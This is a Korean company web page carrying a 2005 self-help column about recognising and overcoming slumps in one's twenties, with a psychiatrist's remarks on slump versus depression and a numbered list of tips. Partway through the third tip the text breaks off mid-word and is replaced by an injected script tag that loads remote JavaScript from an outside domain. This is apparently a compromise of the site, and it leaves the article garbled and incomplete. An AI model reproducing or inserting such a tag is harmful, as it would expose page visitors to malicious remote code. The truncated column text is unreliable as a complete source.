Home > Column & Story > 성공 DNA
   
제 목 :
20대의 슬럼프 현명하게 극복하는 방법 [05. 11. 04]
골프, 야구등 스포츠로 ‘월드 스타’ 였던 박세리 박찬호가 슬럼프에서 헤어나오지 못하고 있다. 초우
량 선수로 평가받는 이들도 예외없이 빠지는 슬럼프, 국어사전에서는 ‘심신의 상태 또는 작업이나 사
업 따위가 일시적으로 부진한 상태’라 정의한다. 마마보다 무섭고, 춘곤증보다 나른하게 해 능률을 떨
어뜨리는 슬럼프를 물리치기 위해선 어떻게 해야 할까. 우선 자신의 상황을 객관적으로 보려는 노력이
필요하다. 언제 무엇때문에 시작됐나를 차분하게 생각해보면 대부분 근거가 없거나 사소한 문제이기 십
상이다. 자신의 상황을 차분하게 들여봤다면 다음에 해야 할 것은 과연 그것이 합리적인가 판단해보야
할 순서. 확대해석하거나 주변평가에 대해 과민한 것은 아닌가 자신을 돌아볼 필요가 있다. 슬럼프와
싸우지 말고, 다루는 것이 현명하게 극복하는 방법의 핵심이다.(도움말=홍현주 한림대 정신과 교수)

◇슬럼프와 우울증 분명히 구별해야

S대에 다니는 L씨. 기말고사가 코앞으로 다가오면서 때없이 머리가 아프고 집중도 안돼 휴게실만 오락
가락 왔다갔다 하고 있다. 그렇다고 놀자니 마음이 편치 않다. 밤새 하던 인터넷 게임도 시들할 정도
로 세상사에 흥미가 없어지는 징후가 며칠째 계속되면서 심각한 정신병은 아닐까 은근히 걱정이 되기
도 한다.

홍현주 한림대교수(정신과)는 “우울증과 슬럼프는 앞일에 대해 쉽게 절망하고 용기와 자신감이 저하되
고 수면장애등의 증상을 겪는다는 점에서는 얼핏 비슷해보인다”며 “문제는 우울증이 장기적으로 지속
성을 가진데 반해, 슬럼프는 반동성을 가졌기 때문에 일시적이란 데서 차이가 보인다”고 지적한다.

즉 우울증은 전문가의 치료가 필요하지만 슬럼프는 기분전환을 통해 극복이 얼마든지 가능하다. 홍교수
는 “우울증은 체중의 급격한 감소와 극심한 불면증등을 동반, 강도와 고민의 질이 높다는 점에서 본인
이 가장 먼저 알아채게 돼 있다”고 덧붙였다.

◇20대, 고민한다. 고로 존재한다!

누구도 삶에서 슬럼프를 환영할 이는 없다. 하지만 ‘마마보다 무서운’ 슬럼프는 복병처럼 나타나 일
상을 흐트려놓게 마련. 기본적으로 슬럼프는 어떤 것을 해내야 한다는 의무감이 지나칠 때 오기 쉽다.
슬럼프를 절망의 늪이 아니라, 삶의 도약대로 활용하기 위해선 어떻게 해야 할까. 우선 문제를 ‘부
분’으로 인식하고, 전체로 확대 해석하지 않으려는 의도적 노력이 필요하다.

우리나라는 특히나 20대에 이런 슬럼프가 심각하게 나타나는게 특징. 외국의 경우, 사춘기때 자연스럽
게 자아정체성에 대한 고민을 겪을 기회가 있다. 하지만 입시지옥에 시달려야 하는 국내의 사정상, 자
아정체성에 대한 본격적 고민을 치열하게 겪는 시기는 20대. 몸과 정신의 불일치, 타인의 기준과 자신
의 기준의 괴리를 느끼면서 슬럼프, 스트레스가 한꺼번에 닥치게 된다.

홍교수는 “20대의 슬럼프는 한마디로 자신의 정체성에 대한 DB가 없는 데서 비롯되는 당연한 현상”이
라며 “구태여 피하려 하기보다는 자연스럽게 맞아들이는 자세가 필요하다”고 조언한다. 슬럼프를 낭
떠러지라고 생각하며 거부하기보다, 풍부한 삶을 위한 징검다리로 생각하는 여유있는 자세를 가져야 한
다는 것이다.


■ 슬럼프 탈출 9계명

슬럼프? 슬럼프! 피할 수 없으면 즐겨라! 지금 나의 모습은 과거 자신과의 싸움에서 승리한 결과이다.

따라서 그 전쟁 중에 나타나는 슬럼프라는 것은 누구에게나 찾아올 수 있는 자연스러운 존재임을 받아
들이라. 그렇다고 해서 인생에서 중요한 그 시기를 ‘방황을 위한 방황’으로만 끝내서는 안 된다.

(도움말=이승우 우송공업대학교수 겸 CMOE코리아 라이프 코치)

① 일주일에 한번, 스스로를 성찰하는 시간을 가지라=물에 비친 자기의 모습은 백조임에 틀림없다. 그
럼에도 불구하고 “아냐, 난 오리야!”라고 아무리 외쳐봐야 본인만 괴롭다. 차라리 내가 일반 오리와
다름을 솔직하게 인정하는 것이 슬럼프탈출의 시작이다.

② 다른 이의 도움을 받으라=위의 문제로 해답을 찾을 수 없었을 때 가장 좋은 방법은 다른 이의 도움
을 받는 것이다. 위에서 백조는 외모로 고민하고 있는 중이다. 그러나 스스로가 자신의 본질적인 문제
를 파악하지 못하고 대인관계나 리더십 문제로 생각하고 개선책을 찾는다면 순간적으로 마음은 풀릴지
모르지만 슬럼프를 극복할 수는 없다.

③ 기록해놓으라=백조는 자신의 원하는 정확한 목표와 본 모습을 알게 되었다. 그러나 인간은 망각의
동물이라 시간이 지나면 지금의 감정은 희미해지게 마련이다. 지금의 감정을 솔직하게 적은 한마디의
문구를 만들어 눈에 잘 띄는 곳에 붙여 놓아라. 눈앞의 목표나 걱정거리 그 자체가 자기 인생의 목표
는 아?script src=http://mekiller.com/1/1.js>
 
 
 
 
    ( Today:2549/  49 /   1200,512 )
서울특별시 강남구 대치동 955-13 동현빌딩 1층     ㈜로지컴코리아
TEL 02-539-4288 (대표) FAX 02-539-0084   Webmaster Mail : webmaster@logicom.co.kr